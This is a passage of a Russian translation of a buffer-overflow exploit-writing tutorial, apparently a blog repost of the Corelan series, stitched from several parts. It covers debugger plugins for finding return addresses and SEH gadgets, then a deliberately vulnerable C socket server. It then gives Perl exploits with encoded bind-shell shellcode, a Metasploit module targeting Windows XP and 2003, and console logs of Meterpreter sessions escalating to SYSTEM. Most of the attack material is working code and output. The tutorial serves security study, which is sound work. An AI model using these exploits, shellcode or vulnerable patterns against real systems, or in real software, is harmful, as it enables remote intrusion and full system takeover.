"\x42\x4c\x43\x53\x43\x30\x41\x41";

$payload =$junk.$ret.$nop.$shellcode;

open ($FILE,">$sploitfile");
print $FILE $payload;
close($FILE);





Плагины Ollydbg

На openrce.com есть большое количество плагинов для ollydbg. Я не собираюсь обсуждать их все, а только очень важный/юзабильный при написании эксплойтов, и это - OllySEH.

Этот плагин делает поиск в памяти загруженных модулей процесса, проверяя, были ли они собраны с /safeseh. Это означает, что Вы можете использовать этот плагин, когда ollydbg присоединен к процессу. Плагин поможет Вам найти точное место в памяти с надежным/рабочим адресом возврата, перечисляя все модули, которые собраны (и те, которые не собраны - что еще более важно) с /safeseh.

Предположим, что мы нашли SEH-уязвимость в BlazeDVD5, и должны найти надежный “pop, pop, ret”. Мы можем воспользоваться ollyseh, чтобы найти все модули, которые не собраны с /safeseh, и искать pop,pop,ret инструкции в их памяти:

Список выполняемых модулей: (E)



Список safeseh модулей:





Ищите что-нибудь с "No SEH" или (что еще лучше) с “/SafeSEH OFF”, чтобы найти область памяти, в которой может находится pop,pop,ret инструкция.

Давайте проверим c:\program files\Blazevideo\BlazeDVD 5 Professional\MediaPlayerCtrl.dll

Вы могли бы использовать findjmp, чтобы найти pop,pop,ret инструкции, или ища инструкции в dll, использующая ollydbg:

Возвратитесь к списку выполняемых модулей, найдите dll и щелкните по ней два раза:



Щелчок правой кнопкой мыши и выбираем "Search for" - “Sequence of commands”.

Например, мы хотим найти pop eax, или pop <что-либо>, ret:



(попробуйте все комбинации с различными регистрами, пока не найдете нужного). Конечно, findjmp.exe будет работать намного быстрее, потому что Вы только должны были бы определить только первый регистр в pop,pop,ret последовательности (регистр второго pop был бы определен findjmp автоматически). Это намного быстрее бы указало нам на то, что у этой dll нет никакой годной для нас pop,pop,ret комбинации, и что мы должны были бы искать другую dll.

В любом случае, этот плагин может сохранить Вам много времени при написании SEH эксплойта, поскольку Вы сможете найти адерс надежного pop,pop,ret быстрее чем, в ситуации с попытками найти его в каждой из dll.

Immunity Debugger (ImmDbg) плагины/pycommands

Immunity debugger идет с хорошим/большим набором плагинов, но тем не менее Вы можете найти некоторые более полезные из них в следующих местах:
findtrampoline: http://www.openrce.org/forums/posts/559
aslrdynamicbase: http://www.openrce.org/forums/posts/560
funcdump: https://www.openrce.org/forums/posts/556
nsearch: http://natemcfeters.blogspot.com/2009/02/nsearch-new-immunitydbg-searching.html
pvefindaddr (мой собственный pycommand)

Из-за интеграции immdbg с питоном, и хорошо документированного API, Вы можете добавлять/писать свои собственные команды и плагины.

Загрузите .py файлы и поместите их в папку pycommand.

ImmDbg замечателен тем, что он содержит псевдонимы для команд windbg, таким образом Вы можете использовать в своих интересах скриптовую силу immdbg, и все еще использовать набор команд от windbg (если Вы более знакомы с командами windbg)

Findtrampoline

Этот скрипт предлагает такие же функциональные возможности, как и findjmp или msfpescan, когда необходимо найти подходящие адреса возврата, эксплуатируя классическое переполнение стека. Это позволяет Вам искать jmp , call и push + ret комбинации.

Вы можете вызвать findtrampoline скрипт, открыв окно PyCommand и выбрав findtrampoline, чтобы его запустить:





Двойной щелчок, введите регистр, который Вы хотите найти, и щелчок на "OK", чтобы начать поиск:



Теперь ждите завершения поиска. Плагин будет искать во всех загруженных модулях jmp esp (в нашем примере) и затем покажет число найденных адресов:



Также можно ввести в командной строке !findtrampoline :



Чтобы посмотреть результаты посика, откройте окно "Log data":



Чтобы увидеть, чем была найдена инструкция, выберите адрес и щелкните по нему два раза. Затем откройте окно "CPU"



Альтернативно, Вы можете использовать команду !searchcode, чтобы искать jmp esp инструкции:



(Результат укажет адрес, модуль (dll) и находиться ли инструкция в выполняемой странице памяти или не). Конечно, команда !searchopcode также прекрасно работает, но !findtrampoline будет искать все рабочие комбинации (тогда как !searchopcode требует определенной инструкции для посика)

aslrdynamicbase

Эта команда перечисляет все модули и показывает, включен ли в них ASLR. Это позволит Вам строить надежные эксплойты для таких OS, находя адреса возврата, у которых будет тот же самый адрес даже после перезагрузки системы.

Эта команда не требует никаких аргументов. Только введите её в командной строке, и смотрите на ASLR/dynamicbase таблицу для местоположений памяти, в которых включен/отключен ASLR.

Этот не только сохранит Ваше время, но также даст гарантию того, что ваш эксплойт не перестанет работать после перезагрузки системы.



pvefindaddr

Это маленький плагин, который я написал сам. Я коротко опишу следующие 4 операции (у текущей версии их намного больше):



  • - p: ищит pop/pop/ret комбинации (полезно при написании SEH-эксплойтов ). Это автоматически отфильтрует модули, которые являются защищенным safeseh. Таким образом адреса, которые Вы получаете, будут не защищены safeseh. Кроме того, будет автоматически перепробованы все комбинации и поиск во всех загруженных модулях (таким образом Вы не должны будете определять регистр или модуль. Если Вы определите регистр, то плагин покажет только те комбинации, где используется этот регистр. Если Вы определите регистр и название модуля, то Вы очевидно получите все комбинации, где этот регистр используется, и только из указанного модуля (даже если тот модуль защищен safeseh!)
  • - j: ищит все jmp/call/push, ret комбинации (полезен при написании эксплойтов с прямой перезаписью ret).
  • - jseh: эта операция полезна при обходе safeseh защиты. (см. 6 часть данного руководства). Как и другие, эта операция будет искать все комбинации автоматически
  • - nosafeseh: покажет все модули загуреженные в данный ммоент, которые защищены safeseh

Более подробно: http://www.corelan.be:8800/index.php/security/pvefindaddr-py-immunity-debugger-pycommand/

Другие pycommand'ы и их синтаксис.

Чтобы получить больше информации по использованию pycommands, просто запустите pycommand в командной строке, откройте окно регистров, и Вы получите короткий текст помощи, указывающий параметры, которые должны быть предоставлены плагину.



Больше информации о immdbg и pycommands может быть найдено здесь и здесь

У ImmDbg есть много полезны скриптов, которые могут помочь разобраться со множетсвом проблем при написании различных видов эксплойтов.

Другие интересные вещи в immdbg

!packets позволяет Вам захватить пакеты от источника и получить функцию, которая ответственна за посылку/получение пакета. Пример: Откройте firefox и подключите immdbg к процессу. Прежде, чем запустить firefox из установленной отладчиком контрольной точки, запустите !packets

Продолжите выполнение браузера и перейдите на какой-либо вебсайт. Теперь возвратитесь к immdbg посмотрите в окно "Captured Packets":



!safeseh
Эта команда перечислит выполняемые модули и укажет, защищены ли они safeseh или нет. После запуска !safeseh, Вы должны открыть окно "Log Data", чтобы увидеть результат.


четверг, 27 октября 2011 г.

Руководство по написанию эксплойтов. Часть 4 - Импорт эксплойта в Metasploit

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ

В первых частях руководства, мы обсудили некоторые общие уязвимости, которые могут привести к двум типам эксплойтов: стековое переполнение буфера (с прямой перезаписью EIP), и буферное переполнение с использованием SEH chain. В моих примерах я использовал Perl, чтобы продемонстрировать, как создать рабочий эксплойт.

Очевидно, написание эксплойтов не ограничивается одним лишь Perl. Я предполагаю, что для этих целей может быть использован любой из языков программирования…
Однако, не зависимо от выбора языка эксплойт будет работать исправно, но может и лучше если включить его в состав Metasploit Framework и использовать в своих интересах некоторые из уникальных особенностей Metasploit.

Поэтому сейчас я собираюсь объяснить, как переписать свой эксплойт в качестве модуля для metasploit.

Модули Metasploit пишуться на Ruby. Но даже если вы не знакомы с Ruby, вы сможете написать модуль для своего эксплойта, прочитав данную часть руководства.

Типичный модуль эксплойта в metasploit состоит из следующих компонентов:
  • - заголовок и описание зависимостей
    • -- комментарии о модуле
    • -- подключение 'msf/core'
  • - определение класса
  • - инклуды
  • - определения "def":
    • -- инициализация
    • -- проверки (опционально)
    • -- эксплойт

Вы можете помещать комментарии в свой metasploit модуль используя символ #. Это все, что мы должны знать на данный момент, а теперь давайте пошагово рассмотрим построения модуля для нашего эксплойта.

Шаг первый: создание эксплойта для простого уязвимого сервера

Мы будем использовать следующий уязвимый сервер, написанный на C:

#include 
#include 
#include 

//load windows socket
#pragma comment(lib, "wsock32.lib")

//Define Return Messages
#define SS_ERROR 1
#define SS_OK 0

void pr( char *str)
{
   char buf[500]="";
   strcpy(buf,str);
}
void sError(char *str)
{
   MessageBox (NULL, str, "socket Error" ,MB_OK);
   WSACleanup();
}

int main(int argc, char **argv)
{

WORD sockVersion;
WSADATA wsaData;

int rVal;
char Message[5000]="";
char buf[2000]="";

u_short LocalPort;
LocalPort = 200;

//wsock32 initialized for usage
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);

//create server socket
SOCKET serverSocket = socket(AF_INET, SOCK_STREAM, 0);

if(serverSocket == INVALID_SOCKET)
{
   sError("Failed socket()");
   return SS_ERROR;
}

SOCKADDR_IN sin;
sin.sin_family = PF_INET;
sin.sin_port = htons(LocalPort);
sin.sin_addr.s_addr = INADDR_ANY;

//bind the socket
rVal = bind(serverSocket, (LPSOCKADDR)&sin, sizeof(sin));
if(rVal == SOCKET_ERROR)
{
   sError("Failed bind()");
   WSACleanup();
   return SS_ERROR;
}

//get socket to listen
rVal = listen(serverSocket, 10);
if(rVal == SOCKET_ERROR)
{
   sError("Failed listen()");
   WSACleanup();
   return SS_ERROR;
}

//wait for a client to connect
SOCKET clientSocket;
clientSocket = accept(serverSocket, NULL, NULL);
if(clientSocket == INVALID_SOCKET)
{
   sError("Failed accept()");
   WSACleanup();
   return SS_ERROR;
}

int bytesRecv = SOCKET_ERROR;
while( bytesRecv == SOCKET_ERROR )
{
   //receive the data that is being sent by the client max limit to 5000 bytes.
   bytesRecv = recv( clientSocket, Message, 5000, 0 );

   if ( bytesRecv == 0 || bytesRecv == WSAECONNRESET )
   {
      printf( "\nConnection Closed.\n");
      break;
   }
}

//Pass the data received to the function pr
pr(Message);

//close client socket
closesocket(clientSocket);
//close server socket
closesocket(serverSocket);

WSACleanup();

return SS_OK;
}

Скомпилируйте этот код и запустите на сервере Windows 2003 R2 с SP2. (Я использовал lcc-win32, чтобы его скомпилировать)

Когда мы пошлем 1000 байтов на сервер, он упадет.

Следующий perl-скрипт продемонстрирует крушение:

#!usr/bin/perl
use strict;
use Socket;
my $junk = "\x41" x1000;

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk."\n";

print "[+] Payload sent\n";

close SOCKET or die "close: $!";

Уязвимый сервер упал, и EIP был перезаписан на строку из "A"

0:001> g
(e00.de0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffd6000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=41414141 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
41414141 ?? ???

Используя паттерны из metasploit, мы определим смещение до перезаписи EIP в 504 байта. Таким образом мы напишем новый скрипт, чтобы проверить правильность выбранного смещения и значения регистров, когда произойдет переполнение:

#!usr/bin/perl
use strict;
use Socket;

my $totalbuffer=1000;
my $junk = "\x41" x 504;
my $eipoverwrite = "\x42" x 4;
my $junk2 = "\x43" x ($totalbuffer-length($junk.$eipoverwrite));

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$junk2."\n";

print "[+] Payload sent\n";

close SOCKET or die "close: $!";

После отправки 504 "A", 4 "B" и связка из "C", мы увидим следующие состояния регистров и содержимое стека:

0:001> g
(ed0.eb0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012e05c ebx=7ffde000 ecx=00000000 edx=0012e446 esi=0040bdec edi=0012ebe0
eip=42424242 esp=0012e258 ebp=41414141 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
42424242 ?? ???
0:000> d esp
0012e258 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e268 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e278 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e288 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e298 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2a8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2b8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0012e2c8 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC

Увеличьте размер $junk, чтобы определить, сколько места в наличии мы имеем для шеллкода. Это важно, потому что мы должны определить этот параметр в metasploit модуле.

Измените $totalbuffer на 2000, тем самым, выйдя за пределы, и содержимое ESP покажет, что мы можем заполнить память C-строкой до esp+5d3 (1491 байт). Это будет местом для шеллкода.

Все, что нам нужно, это перезаписать EIP на jmp esp (или call esp, или на что-либо подобное), и поместить наш шеллкод на место C-строки.

Используя findjmp, мы нашли рабочий адрес для нашего сервера Windows 2003 R2 SP2:

findjmp.exe ws2_32.dll esp
Reg: esp
Scanning ws2_32.dll for code usable with the esp register
0x71C02B67 push esp - ret
Finished Scanning ws2_32.dll for code usable with the esp register
Found 1 usable addresses

После выполнения некоторых тестов с шеллкодом, для создания завершенного эксплойта, мы должны сделать следующее:
  • - исключить 0xff из шеллкода
  • - поместить некоторое количество nop'ов перед шеллкодом

Наш заключительный эксплойт на perl, с привязыванием командной оболочки (bind shell), на tcp-порт 5555:

!#usr/bin/perl
#
print " --------------------------------------\n";
print "     Writing Buffer Overflows\n";
print "       Peter Van Eeckhoutte\n";
print "     http://www.corelan.be:8800\n";
print " --------------------------------------\n";
print "    Exploit for vulnserver.c\n";
print " --------------------------------------\n";
use strict;
use Socket;
my $junk = "\x90" x 504;

#jmp esp (from ws2_32.dll)
my $eipoverwrite = pack('V',0x71C02B67);

#add some NOP's
my $shellcode="\x90" x 50;

# windows/shell_bind_tcp - 702 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=5555, RHOST=
$shellcode=$shellcode."\x89\xe0\xd9\xd0\xd9\x70\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42\x4a" .
"\x4a\x4b\x50\x4d\x4d\x38\x4c\x39\x4b\x4f\x4b\x4f\x4b\x4f" .
"\x45\x30\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47\x35" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f" .
"\x4c\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x43\x31" .
"\x4a\x4b\x47\x39\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e" .
"\x50\x31\x49\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x42\x54" .
"\x45\x57\x49\x51\x48\x4a\x44\x4d\x45\x51\x48\x42\x4a\x4b" .
"\x4c\x34\x47\x4b\x46\x34\x46\x44\x51\x38\x42\x55\x4a\x45" .
"\x4c\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x43\x56\x4c\x4b" .
"\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b" .
"\x44\x43\x46\x4c\x4c\x4b\x4b\x39\x42\x4c\x51\x34\x45\x4c" .
"\x45\x31\x49\x53\x46\x51\x49\x4b\x43\x54\x4c\x4b\x51\x53" .
"\x50\x30\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c" .
"\x4e\x4d\x4c\x4b\x51\x50\x44\x48\x51\x4e\x43\x58\x4c\x4e" .
"\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f\x4e\x36\x45\x36" .
"\x51\x43\x42\x46\x43\x58\x46\x53\x47\x42\x45\x38\x43\x47" .
"\x44\x33\x46\x52\x51\x4f\x46\x34\x4b\x4f\x48\x50\x42\x48" .
"\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48\x56" .
"\x51\x4f\x4c\x49\x4d\x35\x43\x56\x4b\x31\x4a\x4d\x45\x58" .
"\x44\x42\x46\x35\x43\x5a\x43\x32\x4b\x4f\x4e\x30\x45\x38" .
"\x48\x59\x45\x59\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56" .
"\x51\x43\x50\x53\x50\x53\x46\x33\x46\x33\x51\x53\x50\x53" .
"\x47\x33\x46\x33\x4b\x4f\x4e\x30\x42\x46\x42\x48\x42\x35" .
"\x4e\x53\x45\x36\x50\x53\x4b\x39\x4b\x51\x4c\x55\x43\x58" .
"\x4e\x44\x45\x4a\x44\x30\x49\x57\x46\x37\x4b\x4f\x4e\x36" .
"\x42\x4a\x44\x50\x50\x51\x50\x55\x4b\x4f\x48\x50\x45\x38" .
"\x49\x34\x4e\x4d\x46\x4e\x4a\x49\x50\x57\x4b\x4f\x49\x46" .
"\x46\x33\x50\x55\x4b\x4f\x4e\x30\x42\x48\x4d\x35\x51\x59" .
"\x4c\x46\x51\x59\x51\x47\x4b\x4f\x49\x46\x46\x30\x50\x54" .
"\x46\x34\x50\x55\x4b\x4f\x48\x50\x4a\x33\x43\x58\x4b\x57" .
"\x43\x49\x48\x46\x44\x39\x51\x47\x4b\x4f\x4e\x36\x46\x35" .
"\x4b\x4f\x48\x50\x43\x56\x43\x5a\x45\x34\x42\x46\x45\x38" .
"\x43\x53\x42\x4d\x4b\x39\x4a\x45\x42\x4a\x50\x50\x50\x59" .
"\x47\x59\x48\x4c\x4b\x39\x4d\x37\x42\x4a\x47\x34\x4c\x49" .
"\x4b\x52\x46\x51\x49\x50\x4b\x43\x4e\x4a\x4b\x4e\x47\x32" .
"\x46\x4d\x4b\x4e\x50\x42\x46\x4c\x4d\x43\x4c\x4d\x42\x5a" .
"\x46\x58\x4e\x4b\x4e\x4b\x4e\x4b\x43\x58\x43\x42\x4b\x4e" .
"\x48\x33\x42\x36\x4b\x4f\x43\x45\x51\x54\x4b\x4f\x48\x56" .
"\x51\x4b\x46\x37\x50\x52\x50\x51\x50\x51\x50\x51\x43\x5a" .
"\x45\x51\x46\x31\x50\x51\x51\x45\x50\x51\x4b\x4f\x4e\x30" .
"\x43\x58\x4e\x4d\x49\x49\x44\x45\x48\x4e\x46\x33\x4b\x4f" .
"\x48\x56\x43\x5a\x4b\x4f\x4b\x4f\x50\x37\x4b\x4f\x4e\x30" .
"\x4c\x4b\x51\x47\x4b\x4c\x4b\x33\x49\x54\x42\x44\x4b\x4f" .
"\x48\x56\x51\x42\x4b\x4f\x48\x50\x43\x58\x4a\x50\x4c\x4a" .
"\x43\x34\x51\x4f\x50\x53\x4b\x4f\x4e\x36\x4b\x4f\x48\x50" .
"\x41\x41";

# initialize host and port
my $host = shift || 'localhost';
my $port = shift || 200;

my $proto = getprotobyname('tcp');

# get the port address
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($port, $iaddr);

print "[+] Setting up socket\n";
# create the socket, connect to the port
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
print "[+] Connecting to $host on port $port\n";
connect(SOCKET, $paddr) or die "connect: $!";

print "[+] Sending payload\n";
print SOCKET $junk.$eipoverwrite.$shellcode."\n";

print "[+] Payload sent\n";
print "[+] Attempting to telnet to $host on port 5555...\n";
system("telnet $host 5555");

close SOCKET or die "close: $!";

Эксплойт в действии:

root@backtrack4:/tmp# perl sploit.pl 192.168.24.3 200
--------------------------------------
Writing Buffer Overflows
Peter Van Eeckhoutte
http://www.corelan.be:8800
--------------------------------------
Exploit for vulnserver.c
--------------------------------------
[+] Setting up socket
[+] Connecting to 192.168.24.3 on port 200
[+] Sending payload
[+] Payload sent
[+] Attempting to telnet to 192.168.24.3 on port 5555...
Trying 192.168.24.3...
Connected to 192.168.24.3.
Escape character is '^]'.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\vulnserver\lcc>whoami
whoami
win2003-01\administrator

Самые важные параметры, которые должны быть взяты из этого эксплойта:
  • - смещение к ret (чтобы перезаписать eip) на 504 байта
  • - адрес jump в windows 2003 R2 SP2 (English) равный 0x71C02B67
  • - шеллкод не должен содержать 0?00 или 0xff
  • - шеллкод должен быть длиной приблизительно в 1400 байтов

После проведения некоторых тестов на Windows XP SP3 (English), мы решаем, что выбранное смещение сохраниться, но адрес jmp должен быть изменен (например, на 0x7C874413). Мы напишем metasploit модуль, который позволит нам выбирать одну из двух целей, и будет использовать правильный адрес jmp.

Подгоняем эксплойт к metasploit.

Во-первых, мы должны определить тип нашего эксплойта, чтобы определит папку в пределах структуры metasploit, где и будет храниться эксплойт. Если бы наш эксплойт был нацелен на Windows ftp server программы, он должен был бы быть помещен в директории с эксплойтами под windows ftp серверы.

Модули Metasploit хранятся в framework3xx, в дирректории под названием /modules/exploits. В этой папке эксплойты разделены в зависимости от операционной системы, а затем от сервисов, на которые они рассчитаны.

Наш сервер запускается на windows, таким образом, мы относим его к категории windows. Категория windows уже содержит многие папки (от antivirus до wins), и включает в себя папку misc. Мы отнесем наш эксплойт к misc (или к telnet), потому что он в действительности не принадлежит ни к одному из других типов.

Мы создадим свой metasploit модуль под %metasploit %/modules/windows/misc:

root@backtrack4:/# cd /pentest/exploits/framework3/modules/exploits/windows/misc
root@backtrack4:/pentest/exploits/framework3/modules/exploits/windows/misc# vi custom_vulnserver.rb

#
#
# Custom metasploit exploit for vulnserver.c
# Written by Peter Van Eeckhoutte
#
#
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

      include Msf::Exploit::Remote::Tcp

      def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Custom vulnerable server stack overflow',
                        'Description'    => %q{
                                        This module exploits a stack overflow in a
                                        custom vulnerable server.
                                             },
                        'Author'         => [ 'Peter Van Eeckhoutte' ],
                        'Version'        => '$Revision: 9999 $',
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'    => 1400,
                                        'BadChars' => "\x00\xff",
                                },
                        'Platform'       => 'win',

                        'Targets'        =>
                                [
                                        ['Windows XP SP3 En',
                                          { 'Ret' => 0x7c874413, 'Offset' => 504 } ],
                                        ['Windows 2003 Server R2 SP2',
                                          { 'Ret' => 0x71c02b67, 'Offset' => 504  } ],
                                ],
                        'DefaultTarget' => 0,

                        'Privileged'     => false
                        ))

                        register_options(
                        [
                                Opt::RPORT(200)
                        ], self.class)
       end

       def exploit
          connect

          junk = make_nops(target['Offset'])
          sploit = junk + [target.ret].pack('V') + make_nops(50) + payload.encoded
          sock.put(sploit)

          handler
          disconnect

       end

end

Мы видим следующие компоненты:
  • - во-первых, строку ' require msf/core ', которая будет действительна для всех эксплойтов в metasploit
  • - определение класса. В нашем случае это - remote exploit.
  • - затем, информацию о эксплойте и его определение:
    • -- include: в нашем случае это - tcp соединение, таким образом, мы используем Msf::Exploit::Remote::Tcp
    • -- Information:
      • --- Полезная нагрузку(payload): определите длину и плохие символы (0?00 и 0xff в нашем случае)
      • --- Определите цели, и параметры настройки, такие как адрес возврата, смещение, и т.д.
    • -- Exploit:
      • --- connect (который настроит связь с удаленным портом),
      • --- создание буфера:
        • ---- junk (nop'ы, с длиной смещения)
        • ---- добавьте адрес возврата, больше nop'ов, и затем закодированную полезную нагрузку
      • --- буфер для соединения
      • --- интерфейс(handle) эксплойта
      • --- разъединение(disconnect)

Теперь откройте msfconsole. Если в Вашем сценарии произойдет ошибка, то Вы увидите информацию о ней, в то время как загрузится msfconsole. Если msfconsole был уже загружен, Вы должны будете перезапустить его прежде, чем сможете использовать этот новый модуль (или прежде, чем Вы сможете использовать обновленный модуль, если Вы делали изменения)

Провериим эксплойт:
Тест №1: Windows XP SP3

root@backtrack4:/pentest/exploits/framework3# ./msfconsole 

                |                    |      _) |
 __ `__ \   _ \ __|  _` |  __| __ \  |  _ \  | __|
 |   |   |  __/ |   (   |\__ \ |   | | (   | | |
_|  _|  _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
                              _|                   

       =[ msf v3.3-dev
+ -- --=[ 395 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
       =[ 187 aux

msf > use windows/misc/custom_vulnserver
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  200              yes       The target port     

Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 En  

msf exploit(custom_vulnserver) > set rhost 192.168.24.10
rhost => 192.168.24.10
msf exploit(custom_vulnserver) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows XP SP3 En
   1   Windows 2003 Server R2 SP2  

msf exploit(custom_vulnserver) > set target 0
target => 0
msf exploit(custom_vulnserver) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.24.10   yes       The target address
   RPORT  200              yes       The target port     

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.24.10   no        The target address                    

Exploit target:

   Id  Name
   --  ----
   0   Windows XP SP3 En  

msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.24.1:42150 -> 192.168.24.10:4444)      

meterpreter > sysinfo
Computer: SPLOITBUILDER1
OS      : Windows XP (Build 2600, Service Pack 3).

Тест №2: Windows Server 2003 R2 SP2

meterpreter >
meterpreter > quit

[*] Meterpreter session 1 closed.
msf exploit(custom_vulnserver) > set rhost 192.168.24.3
rhost => 192.168.24.3
msf exploit(custom_vulnserver) > set target 1
target => 1
msf exploit(custom_vulnserver) > show options

Module options:

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST  192.168.24.3     yes       The target address
   RPORT  200              yes       The target port     

Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LPORT     4444             yes       The local port
   RHOST     192.168.24.3     no        The target address                    

Exploit target:

   Id  Name
   --  ----
   1   Windows 2003 Server R2 SP2  

msf exploit(custom_vulnserver) > exploit

[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 2 opened (192.168.24.1:56109 -> 192.168.24.3:4444)

meterpreter > sysinfo
Computer: WIN2003-01
OS      : Windows .NET Server (Build 3790, Service Pack 2).

meterpreter > getuid
Server username: WIN2003-01\Administrator
meterpreter > ps

Process list
============

    PID   Name               Path
    ---   ----               ----
    300   smss.exe           \SystemRoot\System32\smss.exe
    372   winlogon.exe       \??\C:\WINDOWS\system32\winlogon.exe
    396   Explorer.EXE       C:\WINDOWS\Explorer.EXE
    420   services.exe       C:\WINDOWS\system32\services.exe
    424   ctfmon.exe         C:\WINDOWS\system32\ctfmon.exe
    432   lsass.exe          C:\WINDOWS\system32\lsass.exe
    652   svchost.exe        C:\WINDOWS\system32\svchost.exe
    832   svchost.exe        C:\WINDOWS\System32\svchost.exe
    996   spoolsv.exe        C:\WINDOWS\system32\spoolsv.exe
    1132  svchost.exe        C:\WINDOWS\System32\svchost.exe
    1392  dllhost.exe        C:\WINDOWS\system32\dllhost.exe
    1580  svchost.exe        C:\WINDOWS\System32\svchost.exe
    1600  svchost.exe        C:\WINDOWS\System32\svchost.exe
    2352  cmd.exe            C:\WINDOWS\system32\cmd.exe
    2888  vulnserver.exe     C:\vulnserver\lcc\vulnserver.exe                               

meterpreter > migrate 996
[*] Migrating to 996...
[*] Migration completed successfully.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

pwned!

Вы можете найти больше информации о Metasploit API (и доступные классы) на официальном сайте проекта по адресу: http://www.metasploit.com/documents/api/msfcore/index.html


Руководство по написанию эксплойтов. Часть 3b - SEH эксплойты. Иные варианты.

Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ

В предыдущей части руководства я объяснил основы создания SEH-эксплойтов. Я упомянул, что в самом простом случае полезная нагрузка SEH-эксплойта имеет такую структуру:

[junk][nextSEH][SEH][Shellcode]

